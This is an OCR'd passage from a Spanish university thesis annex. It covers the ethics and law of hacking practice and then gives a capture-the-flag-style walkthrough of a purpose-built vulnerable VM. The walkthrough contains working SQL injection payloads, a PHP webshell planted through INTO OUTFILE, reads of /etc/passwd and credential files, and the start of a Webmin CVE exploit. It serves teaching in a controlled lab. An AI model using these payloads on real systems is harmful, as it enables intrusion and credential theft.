restricciones, no asignan direcciones IP ni proporcionan DHCP. En resumen,
estas politicas y controles complican en gran medida la instalacion de servidores
y la puesta en marcha de laboratorios controlados.

.Qué desafios o riesgos pueden surgir si los estudiantes realizan en clase
practicas de ciberseguridad a sistemas reales y no en un entorno controlado?

Eso no seria posible ni ético, ya que los riesgos incluyen sanciones institucionales
y la posibilidad de que alguien sea acusado por un presunto delito. Ademas, no
se pueden realizar pruebas de ciberseguridad en una institucion sin que esta nos
haya contratado y autorizado formalmente. Ademads, es necesario contar con un
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permiso por escrito y, en muchos casos, notarizado. Por ese motivo no se ensefia
a atacar directamente a instituciones reales, sino que siempre deben utilizarse
laboratorios y entornos controlados para las practicas.

.Como impacta el COIP en la planificacion y ejecucion de practicas de
ciberseguridad dentro de la universidad?

El COIP (Cédigo Orgénico Integral Penal) es uno de los primeros temas que se
aborda en clase, ya que establece los diferentes delitos y las penas
correspondientes. Entre ellos se incluyen los delitos informaticos, por lo que
antes de ensefiar técnicas o herramientas de ciberseguridad, se explica a los
estudiantes que este tipo de delitos pueden acarrear sanciones que van desde 3 a
5 afios, e incluso hasta 15 afios, si se demuestra que alguien ha accedido, alterado
o divulgado informacion sin autorizacion. Por esta razén, la universidad no
ensefia a realizar ataques reales, sino que promueve la practica ética dentro de
entornos controlados. En este sentido, el COIP no solo tiene un impacto legal,
sino que también sirve como punto de referencia para fomentar la ética
profesional en el ambito de la ciberseguridad.

.Qué caracteristicas deberia tener un entorno virtual vulnerable para que
sea funcional, seguro y util en las clases de Ethical Hacking?

Deberia parecerse lo mas posible a un servidor real, porque los estudiantes, al
salir al campo laboral, no se van a encontrar con sistemas antiguos como
Windows XP. Por eso, implementar un laboratorio con ese sistema seria obsoleto.
Las caracteristicas que deberia tener la maquina virtual son que funcione como
un entorno similar a uno real, que tenga vulnerabilidades que podrian encontrarse
en alguna institucién y que sea facil de descargar e instalar, preferiblemente en
formato OVA, que es el que usamos. Ademas, debe obtener una direccion IP
mediante red NAT, para evitar los problemas que tenemos en la universidad
cuando se usa el modo Bridged y que sea sencilla de instalar en un laboratorio
controlado.
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Anexo 2: Guia para resolver el entorno virtual vulnerable
Paso 1 - Reconocimiento y enumeracion.

1. Primero se importa el archivo nexusplaySQLi.ova junto con el sistema operativo
Kali Linux version 2025.1c, el cual se lo descargd desde su pagina oficial a través

del siguiente link: “https://www kali.org/get-kali/#kali-platforms” (ver Figura 71).

b ministrado = [ X

25.1c-virtualbox-amd64

nexusplaySQLi

O pantalla

Adaptador 1: Intel PRC
# use

Figura 71: VMs instaladas en VirtualBox.

2. Luego, se debe crear una red virtual privada gestionada por VirtualBox
accediendo a la opcion de Herramientas y luego dando clic en “Crear red solo-
anfitrion”. Con esto se crea una llamada “NetNetwork”, configurada con la
direccion 10.0.2.0/24, lo que permitird que las maquinas virtuales se comuniquen

entre si sin depender de la conexion externa a Internet (ver Figura 72).

Habilitar IPv

Figura 72: Red virtual creada en Virtual Box.
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3. Hecho lo anterior, se procede a cambiar el adaptador de las maquinas virtuales a

modo “Red NAT” con el nombre “NetNetwork™, esto con el fin de que ambas se

encuentren dentro de la misma red.

» Cambio del adaptador de red de la maquina Kali Linux (ver Figura 73).

{3 kali-linux-2025.1c-virtualbox-amd64 - Configuracion = O X

General

Sistema

Pantalla

Almacenamiento

Audio

Red

Puertos serie

UsB

Red

Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4

+ Habilitar adaptador de red

» Avanzado

Aceptar Cancelar Ayuda

Figura 73: Kali — modo Red NAT.

» Cambio del adaptador de red de la maquina nexusplaySQLi (ver Figura

74).

e

HE~20vyolnaIl

Pantalla

Almacenamiento

Audio

Red

Puertos

USE

Carpetas compartidas

Interfaz

nexusplaySQLi - Configuracion - o X

Red

Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
+ Habilitar adaptador de red
Conectado a:  Red NAT
Mombre: MatMetwork

zado

Aceptar Cancelar Ayuda

Figura 74: nexusplaySQLi — modo Red NAT.
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4. Al terminar las configuraciones, se encienden las maquinas y se identifica la red
que se le asigno6 al entorno mediante la verificacion de la direccion IP de Kali Linux

con el comando “ip add” (ver Figura 75).

zsh: corrupt history file /home/kali/.zsh_history

add

oqueue state UNKNOWN group default gqlen 1000
e

inet

valid_1ft forever preferred_lft forever
inet6 /128 scope host noprefixroute

valid_1ft forever preferred_lft forever

<BROADCAST ,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc fq_codel state UP group default glen 1000

link/ether 08:00:27:b4:a1:05 brd ff:ff:ff:ff:ff:ff
inet /24 brd scope global dynamic noprefixroute etho

valid_1ft 573sec preferred_1ft 498sec
inet6 /64 scope link

valid_1ft forever preferred_lft forever

Figura 75: Direccion IP de Kali Linux 10.0.2.4/24.

5. Lo siguiente sera realizar un escaneo con la red identificada "nmap -sn

10.0.2.0/24" para localizar la direccion IP de la maquina NexusplaySQLi (ver
Figura 76).

= 10.0.2.0/24

Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-22 03:33 EDT

Nmap scan report for 10.0.2.3

Host is up (0.0019s latency).

MAC Address: 08:00:27:06:C8:BF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.15

Host is up (0.0013s latency).

MAC Address: 08:00:27:29:AA:AB (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.4

Host is up.

Nmap done: 256 IP addresses (3 hosts up) scanned in 29.29 seconds

Figura 76: Direccion IP de nexuplaySQLi 10.0.2.15/24 identificada.

6. Al tener ambas maquinas en la misma red, se realiza un ping hacia la direccién
IP 10.0.2.15, que es nexusplaySQLi, para comprobar que existe la conectividad y

si el objetivo es alcanzable (ver Figura 77).

N Wi Y Bl Oupobvon | A Ncitwo Mk Ve Eriada Ogosibos A
Ba@mpor)-
Ubuntu 16.04 LTS nexusplaySQLi ttyl
it
File Actions Edit View Help mexusplaySQLi login
Miocapear todade.. W %

BOxS S HESH G0 cromeci

Figura 77: Hacer un ping a NexusplaySQLi desde Kali.
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7. Luego se debe realizar un escaneo con el comando “nmap -PT -T4 -A

10.0.2.15”, donde:

» -PT verifica que el host responde mediante ping TCP
» -T4 controla qué tan rapido y agresivamente Nmap realiza el escaneo
» -A activa la deteccion avanzada para identificar servicios, versiones y el

sistema operativo

Con este se identificardn los puertos y servicios activos en la maquina objetivo: 22
(SSH) para conexiones remotas, 80 (HTTP) correspondiente a la aplicacion

NexusPlay y 3306 (MySQL), que, aunque no es accesible, confirma que el servicio

esta en ejecucion (ver Figura 78).

Figura 78: Escaneo de red a nexusplaySQLi mediante la herramienta nmap.

8. Al identificar que el puerto 80 estd habilitado, se debe ingresar a la aplicacion
web mediante la direccion IP de la méaquina (10.0.2.15) en el navegador, lo que

permitira visualizar la interfaz de la tienda NexusPlay (ver Figura 79).

S]
« C ®

KaliLinux @ Kali Tools @@ The image 0.1 * KaliDocs N Kali Forums X Kali NetHunter

"HADES

-

N L’_ il

Age of Empires IV Hades Cities: Skylines Stardew Valley

W ARADIR W ANADIR W ANADIR

*

Sdper répido Fiable y seguro Atencién al cliente Calificacién

Figura 79: Acceder a la aplicacion web.
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Paso 2 — Explotacion.

9. Al tener acceso a la aplicacion web, se debe seleccionar el icono de usuario
ubicado en el lado derecho de la interfaz para abrir el formulario de “iniciar sesion”
y realizar una inyeccion SQL en el campo de usuario ('or 1=1-- -), mientras que en

el campo de contrasefia se debe ingresar cualquier valor (ver Figura 80).

BEmPoOoF|1 23 4|9
Login - NexusPlay B t

« C @ O @ o+ 100215 %oo0% T

Kali Linux @ Kali Tools @ The image “http://10.1... * KaliDocs N KaliForums « Kali NetHunter = Exploit-DB  Google HackingDB /" OffSec & Login to Webmin

Nexu

Iniciar Sesion

Iniciar Sesion

Figura 80: Inyeccion SQL en el formulario de login.

10. Aunque esta inyeccion solo permitird acceder como un usuario normal de la

aplicacion web (ver Figura 81).

B EomPo-|1 23 4|8
B  MiPerfil - NexusPlay X Panel Admin - Login
« C @ O @ 100215

KaliLinux #& Kali Tools @ Theimage “http://10.1... @ KaliDocs X Kali Forums e\ Kali NetHunter = Exploit-DB % Google HackingDB " OffSec % Login to Webmin

@ *®

alex_gamer

Figura 81: Perfil del usuario normal.
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11. Después se debe realizar otra inyeccion SQL utilizando (' ORDER BY 6-- -)
en el campo de busqueda de la aplicacion, con el fin de identificar el nimero de

columnas que maneja dicho buscador, las cuales son 6 (ver Figura 82).

B emPoOr|12:3+|00B A s a
B  Resultadospara™ ORDERE' X+

€« C ® QO & 100215 0% w3

KaliLinux % Kali Tools @ Theimage “http://10.1... KaliDocs ¥ Kali Forums @ Kali NetHunter  Exploit-DB % Google Hacking DB " OffSec % Login to Webmin

2

Todas las plataformas v Todas las categorias v Todos los precios v

BUSCAR LIMPIAR

41 Resultados

Figura 82: Ildentificar numero de columnas mediante SQLi.

12. Es de importancia notar que, si se utiliza un nimero mayor a 6, se generara un
error de sintaxis, lo que confirma la cantidad de columnas disponibles (ver Figura
83).

Bualkoc | 2::[0Ep G oy

@ 100215/searchphplg=52) X v

€9 C4Q 0 & 100275 0 VO =

Kali Linue 48 KaliTocls @ Theimage"http//10.1... KaliDocs N KaliForums e KaliNetHunter & Evploit-DB  Google Hacking DB OffSec & Login toWebrmin

Error SQL: Unknown column '7'in 'order clause'

Figura 83: Confirmar mediante error de sintaxis el total de columnas.
13. Con la informacion obtenida se arma la siguiente inyeccion SQL:
¢ UNION SELECT 1,2,3,4,5,6-- -

Aqui se ingresan los valores del 1 al 6, que corresponden a las columnas
identificadas, lo que permite comprobar cudles son visibles y se pueden utilizar para

extraer informacion (ver Figura 84).
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) Resultados para "wenkfdsa: X

& C o

KaliLinux g KaliTools @ The image "h .. #KaliDocs X Kali Forums @ KaliNetHunter s Exploit-DB % Google Hacking DB  Login to Webmin

BUSCAR LIMPIAR

1 Resultados

W AfADIR

Figura 84: Identificar la cantidad de columnas que devuelve la consulta.

14. Tras identificar las columnas (2, 3 y 6), se realiza una inyeccion SQL

reemplazando el nimero 6 por information schema:

' UNION SELECT 1, 2,3, 4,5, SCHEMA_NAME FROM
INFORMATION_SCHEMA.SCHEMATA-- -

Esto permite visualizar las bases de datos existentes en el servidor (ver Figura 85).

(&) Resultados para "wenkfdsa: X
A

oo o

. *KaliDocs X Kali Forums o Kali NetHunter & Exploit-DB % Google Hacking DB " OffSec & Login to Webmin

L

LIMPIAR

2 Resultados

W ANADIR W ANADIR

Figura 85: Resultado de la consulta - Bases de datos del servidor.
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Paso 3 - Bandera base de datos.

15. Usando el nombre de la base de datos, se ejecuta en el buscador la inyeccion

SQL:

' UNION SELECT null, null, null, null, null, table name FROM
INFORMATION_SCHEMA.TABLES WHERE table schema =
'nexusplay_db'-- -

Esta accion permite seleccionar la base de datos nexusplay db y visualizar el

contenido de sus tablas (ver Figura 86).
N BN N

B Resultados para "wenkfdsas

« C @

Kali Linux @ Kali Tools @) The image "htt » KaliDocs X Kali Forums X Kali NetHunter % Exploit-DB % Google Hacking DB /" OffSe ogin to Webmin

00 ¥ 0

W AfaoiR W Ao W afiapin W AR

Figura 86: Resultado - Tablas de la base de datos nexusplay db.

16. Acto seguido se deben localizar las mas importantes, que en este caso son
“tipo_user” y “usuarios”, ya que contienen la informacion relevante sobre los

usuarios de la aplicacion (ver Figura 87).

© | Resultados para "wenkfdsas X+

€« C @ O A8 1002715 2 [80% 75

Kali Linux # Kali Tools @ Theimage “http://10.1... * KaliDocs N Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec & Login to Webmin

ame FROM INFORMATIO! !:

W ANADIR W ARADIR W ARADIR W ARADIR = AfADIR

N

W ARADIR W ARADIR W aARADIR

Figura 87: Buscar tablas relevantes “tipo_user” y “usuarios”.
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17. Luego se procede a ver el contenido de las tablas identificadas con la siguiente

inyeccion SQL:

UNION SELECT null, null, null, null, null, column_name FROM
INFORMATION_SCHEMA.COLUMNS WHERE
TABLE NAME-="tipo_user'-- -

Esta accion permite obtener los nombres de las columnas que contiene la tabla

“tipo_user” y determinar qué informacion puede extraerse (ver Figura 88).

Kali Linux @ KaliTools @ Theimage "http://10.1... « Kali Docs ® Kali Forums X Kali NetHunter Exploit-DB Hacking DB OffSec & Login to Webmin

O

2 Resultados

W ARADIR W ARADIR

Figura 88: Resultado - Columnas de la tabla “tipo_user”’.
18. Al identificar las columnas de la tabla, se realiza la inyeccion SQL:
' UNION SELECT null, id, null, null, null, nombre FROM tipo_user-- -

Que permitira visualizar el contenido de las columnas “id” y “nombre” de la tabla

“tipo_user”, identificando de esta forma que la id del admin es 2 (ver Figura 89).

Resultados para "wenkfdsas X  +

« C @ O & 100215 X 80% T

KaliLinux # KaliTools @ Theimage “http//10.1... « KaliDocs N Kali Forums e Kali NetHunter Exploit-DB & Google HackingDB /" OffSec & Login to Webmin

ve

Todas las plataformas Todas las categorias v Todos los precios

BUSCAR LIMPIAR

2 Resultados

W ANADIR W ANADIR

Figura 89: Datos de las columnas id y nombre.
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19. De manera similar, para la tabla usuarios se utiliza la siguiente inyeccion SQL:

UNION SELECT null, null, null, null, null, column_name FROM
INFORMATION _SCHEMA.COLUMNS WHERE
TABLE_NAME="usuarios'-- -

Con esto se lograra extraer todas sus columnas y determinar cudles son las mas

29 ¢

importantes: “username”, “password” y “tipo_user_id” (ver Figura 90).

eimage “hitp//10.1...  * Kali Docs & Kali Fo

™ ARADIR W ARADIR W ARADIR W ARADIR ™ ARADIR

W faoiR ™ aiaom W aRaDIR

Figura 90: Columnas de la tabla usuarios.
20. Con las columnas identificadas, lo siguiente sera extraer la informacion de cada

una de ellas mediante la inyeccion SQL:

' UNION SELECT null, tipo_user_id, username, null, null, password FROM

usuarios-- -

Esto permite obtener los nombres de usuario junto con sus contrasefias, las cuales
estan encriptadas en MDS5, ademads de visualizar el tipo de usuario, donde el de mas
interés es miguel admin, cuya contrasefia corresponde a la captura de la primera

bandera (ver Figura 91).

= ARADIR W ARADIR e ARADIR = ARADIR

W ARADIR W aRADIR

Figura 91: Captura de la primera bandera.
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Paso 4 — Bandera usuario.

21. Para acceder a la aplicacion web como administrador, se utilizara la plataforma

en linea dcode, disponible en el enlace "https://www.dcode.fr/funcion-hash-md5",

esto para descifrar el hash MDS5 y obtener la contrasena en texto plano (ver Figura
92).

v B MDS - Contrasefia Hash (+Saf] X +

< C % https//www.dcode.fr/funcion-hash-mdS

[ LS

Resumen

SOLEIUALIO )

Resultados
basebal12020 |

Paginas similares

o SHA25E

MDS5 - dCode
Etiqueta(s): Funcidn hash, Criptografia Moderna

Compartir

[+ f W] &]=] il
Figura 92: Decrypt contrasefia MD35.

22. Al tener cudl es la contrasefia y el nombre de usuario identificado, se ingresa a
la aplicacion web como administrador y se revisa su perfil, donde se encontrard un

boton con el nombre “Panel de admin” (ver Figura 93).

ﬁ[_-'»;\mvll 2" 3 4‘$\D' Ilv,‘.:l_,;nznr.wl&!wm ‘.zz:og‘a [
(®  Panel de Administrador B + v

¢« C @ O & 10.0215 ) X 80% T

KaliLinux  Kali Tools @ Theimage “http://10.1... KaliDocs N Kali Forums e Kali NetHunter  Exploit-DB % Google HackingDB " OffSec % Login to Webmin

@ w

Cambiar Contrasefia

miguel_admin

% Panel del admin

Figura 93: Perfil del administrador en la aplicacion web.
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23. Una vez hecho clic en el botén, se redirige a un nuevo apartado de inicio de
sesion donde se solicita el nombre de usuario y la contrasefa. En esta parte, se deben
ingresar los mismos datos del administrador para continuar con el acceso al panel

(ver Figura 94).
BemPo 23400

[ de Videc x| Panel Admin - Login

C @ O & 10.0.215, X 80% Ty

KaliLinux @ KaliTools @ Theimage “http://10.1... = KaliDocs N Kali Forums o Kali NetHunter Exploit-DB Google Hacking DB OffSec € Login to Webmin

N

#) Ingresar al Panel

Figura 94: Formulario de login del panel de administrador.

24. Al obtener acceso al panel de administrador, se procede a dirigirse a la seccion
de Transacciones, donde se debe realizar una inyeccion SQL en su campo de

busqueda 'or 1=1-- - (ver Figura 95).

S EmPO-l-|1 23 2|9 B
(2  Panelde Administrador % Transacciones - Panel Admin X +

« C @ O @ 10.0215/panel-admin/t cic hp

KaliLinux £ KaliTools @ Theimage “http://10.1... « KaliDocs % Kali Forums o Kali NetHunter Exploit-DB Google Hacking DB OffSec € Login to Webmin

(2]

$914.97 $152.50

miguel_admin

Lista de Transacciones

D Usuario Monto Descripcién Fecha Acciones

Figura 95: Panel de administrador — Inyeccion en el campo de busqueda.

25. Esto generara un error de sintaxis, el cual proporcionara informacion esencial
sobre el servidor y la aplicacion web. En esta parte se debe fijar en el nombre del
archivo la aplicacion web, ya que este podra utilizarse para realizar otros tipos de
ataques de inyeccion SQL mas avanzados (ver Figura 96).
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£ | Panelde Administrador X 10.0.2.15/panel-adminftrans X +

€200 0 £ 100215 -

KaliLinue 8 KaliTools @ Theimage "http:/f10.1... @ KaliDocs N KaliForums % KaliNetHunter & Exploit-DB % Google Hacking DB /" OffSec % Login to Webmin

Fatal error: Uncaught mysqli sql exception: You have an error in your SOL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY me.fecha
ASC LIMIT 20 OFFSET (' at line 6 in Jvarfwww/html/APM nexusplaxfpanel -admin/functions panel/fun transacciones.php:39 Stack trace: #0 fvarfwww/html/APM nexusplay/panel-admin/functions panel/

fun transacciones php(39): mysqli->query('SELECT me.d, m...') #1 jvarfwww/hml/APM nexusplay/panel-admin/controlador panel/cont transaccmnes php(lU) getTransacciones(1, 20,", ", "or 1=1--) #2/
var/www/html/APM nexusplay/panel-admin/transacciones php(4): require_once(/var/www/html/A...) #3 {main} thrown in /var/www/html/APM_nexusplay/panel-admin/functions _panell
fun_transacciones.php on line 39

Figura 96: Error de sintaxis en el campo de busqueda de transacciones.

26. Al conocer el nombre del archivo de la aplicacion web, se podrd crear un
webshell. Para ello, se debe identificar la ruta de archivos que permite cargarlo
mediante inyecciones SQL, esto revisando el cddigo en el perfil de administrador,
donde se observa que en su foto de perfil existe la ruta /images/users/, la cual ha
sido configurada para que el usuario de MySQL tenga los permisos de lectura,

escritura y ejecucion de archivos (ver Figura 97).

BEEpPof|123 4]0 II“""“”“‘-“"“H L O A §2v|a
( | PaneldeAdministrador X Panel Admin - Login

« C @ Q & 10.0.215/ ) X 6% Ty

KaliLinux 8 Kali Tools @ Theimage “http://10.1... « KaliDocs X Kali Forums e Kali NetHunter  Exploit-DB % Google HackingDB /" OffSec % Login to Webmin

NexusPlay Q

Cambiar Conty

miguel_admin <in png* alt="Perfil Adain's

%, Panel del admin

Resumen de Actividad

Figura 97: Inspeccion del codigo en el perfil del admin de la aplicacion web.

27. Con la ruta identificada, lo siguiente serd comprobar que el usuario de la base

de datos pueda interactuar con los archivos del sistema, donde:

» Se ejecuta la inyeccion 'UNION SELECT 1, @@secure _file priv, 3, 4,
5, 6 -- -, obteniendo como resultado un valor vacio, demostrando que tiene

permisos para leer y escribir en el servidor (ver Figura 98).
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Kali Linux 8 Kali Tools @ The image 3 @ KaliDocs X Kali Forums e\ Kali NetHunter % Exploit-DI C Hacking DB " Off5 Login to Webmin

NexusPlay it e Ssma S O * ) ]

1 Resultados

W ARADIR

Figura 98: Permisos - secure_file priv.

» Seguidamente, se realiza la inyeccion "UNION SELECT 1, 2, grantee, 4,
5, privilege type from information_schema.user privileges-- -, la cual

verificoO que tiene permisos para subir archivos (FILE) al servidor (ver

Figura 99).

-

% 80

@ Kali Docs % Kali Forums e KaliNetHunter = Exploit-DB = Google Hacking DB OffSec & Login to Webmin

(0 ,

1 Resultados

W ARADIR

Figura 99: Permisos — File.

Cabe recalcar que estos ataques solo se podran realizar sobre archivos y rutas que
sean accesibles por la cuenta de la base de datos o que estén permitidos por la

configuracion del servidor.
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28. Al tener permisos para subir archivos, se procede a crear la webshell ingresando
en el campo de busqueda principal de la aplicacion web la siguiente inyeccion SQL:
' UNION SELECT 1, 2, 3, 4, 5, '<?php system($_GET["cmd"]); 2>' INTO
OUTFILE '/var/www/html/APM_nexusplay/images/users/webshell.php' -- -

Esto permitira subir un archivo PHP al servidor que podré ejecutar comandos del

sistema de forma remota a través del parametro “cmd” (ver Figura 100).

’Q‘ '\ '[ \\DV] 12 3 4|8 D ' |I,,\A,M«me!‘ Ll ™ a § 208 ‘ 8 G

©  Panel de Administrador X Transacciones - PanelAdmin X~ +

€ C @ O & 10.0.215/profil EA T

KaliLinux 8 KaliTools @ Theimage "http://10.1... ¢ KaliDocs X Kali Forums o Kali NetHunter % Exploit-DB % Google Hacking DB " OffSec £ Login to Webmin

-

Cambiar Contrasefia

miguel_admin

%y Panel del admin

Figura 100: Crear webshell mediante SQLi (INTO OUTFILE).

29. Una vez subida la webshell, se procede a ingresar en el navegador la direccion

donde fue almacenada junto con el comando “whoami”.
http://10.0.2.15/images/users/webshell.php?cmd=whoami

Esto permite comprobar qué usuario del sistema que esta ejecutando los comandos
desde la webshell (ver Figura 101).
BERPor| 234 |0FD L | oNapus|ae

9] 10.0.215/imagesfusersfweb X | Transacciones - PanelAdmin X +

€900 0 & 10.0:215/imagesusers/webshel 0 DOy =

KaliLinux #§ KaliTools: @ The image "http://10.1... @ KaliDocs: N KaliForums X Kali NetHunter & Exploit-DB & Google Hacking DB /" OffSec. & Loginto Webmin
1234 5,00 www-data

Figura 101: Ejecutar el comando “whoami” desde la webshell.
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30. Ahora lo que sigue es acceder al archivo donde se encuentra la conexion de la
base de datos con la aplicacion web, para ello se ingresa la siguiente direccion en

el navegador:

http://10.0.2.15/images/users/webshell.php?cmd=cat
./../config_db/database.php

En este caso, se utiliza el comando cat para visualizar el contenido del archivo
database.php. Sin embargo, no se mostrara todo el contenido directamente en la

pagina debido a las limitaciones del entorno HTML, por lo que se debe ver el codigo

fuente de la pagina mediante la opcion “View Page Source” (ver Figura 102).
BERpoi| 23 [0FP

B 10.0215/mages/usersiweb: X Trans s-Panel Admin X~ 4

& C @ 0O A 100215 0% 7

KaliLinux @ Kali Tools @ Theimage "http://10.1... @ KaliDocs ¥{ Kali Forums e KaliNetHunter % Exploit-DB & Google HackingDB /" OffSec & Login to Webmin

123 45.00 connect error) { die("Error de conexion: * . $conn->connect error); } $conn->set charset("utf8mbd"); ?>
«

Take Screenshot

View Page Source

Inspect Acc

Figura 102: Visualizacion del archivo database.php desde la webshell.

31. Al ingresar al codigo fuente de la pagina, se observara el contenido completo
del archivo database.php, donde lo mas importante es la contrasefia de la base de

datos, ya que coincide con la del usuario del sistema (ver Figura 103).

B omPor| 2300 P A floo|a G
B | 10.0.215/images/u X | hitp://10.0.2.15/imagesfusel X Transacciones - Panel Admin X~ +

C o @ view-source:http://10.0.2.15/imagesusers/webshell.php?emd=cat ../ config_db/database.php

KaliLinux % KaliTools @ Theimage "http://10.1... KaliDocs ¥ Kali Forums e Kali NetHunter % Exploit-DB % Google HackingDB " OffSec & Login to Webmin

11 2 3 4 5.00 siphp
= "localhost";

3 $username = "anthony2025";

= "a
4 $password = "D3nj100CHAINSHANP"';
5 $database = "nexusplay_db";

sqLi_report (NYSQLI_REPORT ERROR | MYSQLI REPORT STRICT);
10 $conn = new mysqli($host, $username, $password, $database, $port);
11
12 if ($conn->connect_error) {
3 die("Error de conexion: " . $conn->connect error);

conn->set_charset("utf8mb4");

Figura 103: Codigo fuente del archivo database.php.
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32. Con la contrasefia obtenida, lo siguiente serd conocer el nombre del usuario del

sistema, esto mediante la inyeccién SQL:
' UNION SELECT 1, 2, LOAD_FILE('/etc/passwd'), 4, 5, 6 -- -

Esta consulta extrae el contenido del archivo passwd, que almacena informacion

sobre las cuentas de usuario del sistema (ver la Figura 104).

B % 8% 13

KaliLinux #& KaliTools @ The imag N Kali Forums X Kali NetHunter Exploit-DB ( Hacking DB Of & Login to Webmin

pedrix 1000:1000:Miguel Parra.,, home pedriibinfbash

= ARADIR

Figura 104: Identificar el nombre del usuario del servidor.

33. Al ingresar al codigo fuente de la pagina, se observara el contenido completo
del archivo database.php, donde lo mas importante es la contrasefia de la base de

datos, la cual coincide con la del usuario del sistema (ver Figura 105).

File Actions Edit View Help

L04.6 LTS a
-upgrade’ to

p

Figura 105: Acceso al usuario - captura de la segunda bandera.
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Paso 5 — Postexplotacion.

34. Con acceso al usuario de la méaquina, lo siguiente serd buscar la forma de escalar
privilegios a root. Para esto se accede al directorio /opt, donde se encontrara un
directorio llamado CVE-2019-15107, el cual contiene un archivo README.md,
el cual indica que se trata de una interfaz web para administrar el sistema operativo
llamada Webmin version 1.890 'y describe su vulnerabilidad en
password_change.cgi, la cual permite ejecutar comandos de manera remota y

escucha en el puerto 10000 (ver Figura 106).

pedri@nexusplaySQLi: fopt/webmin/CVE-2013-15107

File Actions Edit View Help
pedrignexusplaysaLi: /$ 1s

webmin-setup.out

en Webmin 1.882 a 1.921.

rable de Webmin 1.890 en el servidor Ubuntu 16.04.0, la cua utando como krooti.

e Webmin 1.890, en la cual E e pue utar comandos d

a con ciertos v

Figura 106: README.md con informacion del fallo de seguridad.

35. Lo siguiente es identificar el puerto y el estado de Webmin utilizando el
comando “netstat -tulnp”, siendo necesario, ya que durante el escaneo con Nmap
no se detectd el puerto, debido a que Webmin estd configurado para escuchar

unicamente en localhost “127.0.0.1:10000” (ver Figura 107).

- pedri@nexusplaySQLi: /opt/webmin/CVE-2013-15107

File Actions Edit View Help

pedrig splays $ ne it -tulnp
(No todos informacion de propiedad del proceso

Proto Rec a cio L ireccio ta PID/Program name
tcp -

tcp

tcp

udp
udp
pedrig

Figura 107: Verificar el puerto en el que esta escuchando Webmin.
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36. Al verificar que Webmin estd escuchando en el puerto 10000, se realiza un tanel

SSH para habilitarlo:
ssh -L 10000:127.0.0.1:10000 pedri@10.0.2.15

Esto es debido a que Webmin solo es accesible localmente, por lo que el tunel
permite redirigir el puerto remoto a la maquina Kali para poder interactuar con la

interfaz web (ver Figura 108).

I pedri@nexusplaySQLi: ~

File Actions Edit View Help
pedri@nexusplaySQLi: Joptfwebmin/CVE-2019-15107 & pedri@nexusplaySQLi: ~ E

0.1:10000 pedripl®.0.2.15
EBE 20 password:
e to Ubuntu 16.04 LTS (GNU/Linux 4.4.0-2 ic x86_64)

* Documentation: https://help.ubuntu.com/

New
Run

0.2.4

Figura 108: Acceso a Webmin mediante tunel SSH.

37. Lo siguiente serd ingresar en el navegador la direccion
“https://127.0.0.1:10000”, donde se visualizara la interfaz de Webmin (ver Figura

109).
BEEeEPoOrl-|123 4+ dPRF
5 hitp://10.0.2.15fim. % Transacciones - Panel Admin X | € Login to Webmin

O & =8 127.0.0.1 G oo

KaliLinux #8 KaliTools @ Theimage “http://10.1... 2 KaliDocs ¥ Kali Forums e Kali NetHunter = Exploit-DB Google Hacking DB OffSec  # Login to Webmin

&% Webmin

You must enter a usemame and
password to login to the server on
127.0.0.1

Remember me

) Signin

Figura 109: Interfaz de Webmin.
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38. Para explotar la vulnerabilidad, se utilizara el navegador integrado de Burp Suite

para poder interceptar las peticiones de Webmin debido a que este utiliza el
protocolo HTTPS (ver Figura 110).
T LR

JLh A

4 Burp Suite Community Edition v2025.1.1 - Temporary Project
Burp Project  Intruder Repester  View  Help
Dashboard  Target  Proxy  Introder  Repester  Collsborstor  Sequencer  Decoder  Comparer  logger  Organzer  Estensions  Lesm {8 Settings

ntercapt  HTTP history

© Interceptoff

Time Type  Direction

Eventlog (1*  Allissues

WebSocksts history

Matchand roplace @ Proxy settings

Method URL

/, Statusesde Length

® Memary: 123M8

Figura 110: Acceder al navegador predeterminado de Burp Suite.

39. Tras lo anterior, se interceptan las peticiones entre el navegador y Webmin

mediante Burp Suite para analizarlas y manipularlas (ver Figura 111).

127.0.0.1

¢ Webmin

You must enter a usemame and
password to login fo the server on
121.001

& aadsdasda

Remember me

Burp  Projet

niruder  Repester  View  Hel

Dashboard Target Intruder Repester

logge  Orgmter  Extemions e

HTTPhistory

EXED -

Methad LRI

Comparer

WebSockets history Match and replace

Time__ Tune Dicertion
Request

Pretty

1 POST /seszicn login.cgi HTTP/L L
Hest: 127.0.0.1' 18600

- Cookie: redirectel; testingl
Content-Length: 27

= Cache-Control: nax-age=d

16 Qrigin: https://127.0.0.1: 10080

1 Content:Type: application/e-wnw-form-urlencoded

13 User-Agent: Mozilla/s. 0 (X1, Linue x86_64) AppleWebKit/s37 36
Chrone/133.0.0.0 Safary/537.36

19 Rafarsr: hitps://127.0.6,1: 10860/
Connection: kesp-alive

4 user=sadsdesdabpass=asfdffe

B@ €

Evantlog()®  All ssues

Burp Suite Community Edition v2025.11 - Temporary Projeet

Collsborator

(KM, Lika Gecke

Sequencer  Decodes {3} Settings
{8) Proxy settings

v | opmbome | ()

&

ee

sapaadsu)

saon @

Ohighlights

(0 Memory T13.6MB

Figura 111: Interceptar las peticiones de Webmin.
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40. A continuacion, accedera al apartado “HTTP history”, donde seleccionara la

solicitud interceptada y hara clic derecho sobre ella, donde se selecciona la opcion

“Send to Repeater”, permitiendo modificar y reenviar la peticion sin necesidad de

repetir todo el proceso (ver Figura 112).

4 Burp Suite Community Edition v2025.1.1 - Temporary Project
Bup Project Intruder Repester View Help
Dashboard  Target  Proyy  Intruder  Repester  Collborator  Sequencer  Decoder  Comparer  logger  Organizer  Extensions  Leam {8} settings
Intercept  HTTPhistory  WebSocketshistory  Match and replace ) Proay settings
7 Filter settings: Hiding €SS, imageand general binary content
%4 Host Method | URL RS hipe27.0,0410000 session agincgi  F1SEn Thle Notes s P Time Listenerport  Startrespanse)
1 https://27.0.0.110000 GET | i toscone Loginto Webmin v 12001 . Z3I5772... 6080 15
4 https/127.0.0.110000 POST _Isession login.cqi v o Loginto Webmin 7ol in... 23:16:0522... BOBD 40 ]
Send to Intruder ekl
Send to Repeater Crl+R
Send to Sequencer
Send to Organizer rls0
Send to Comparer [request]
Send to Comparer responsel
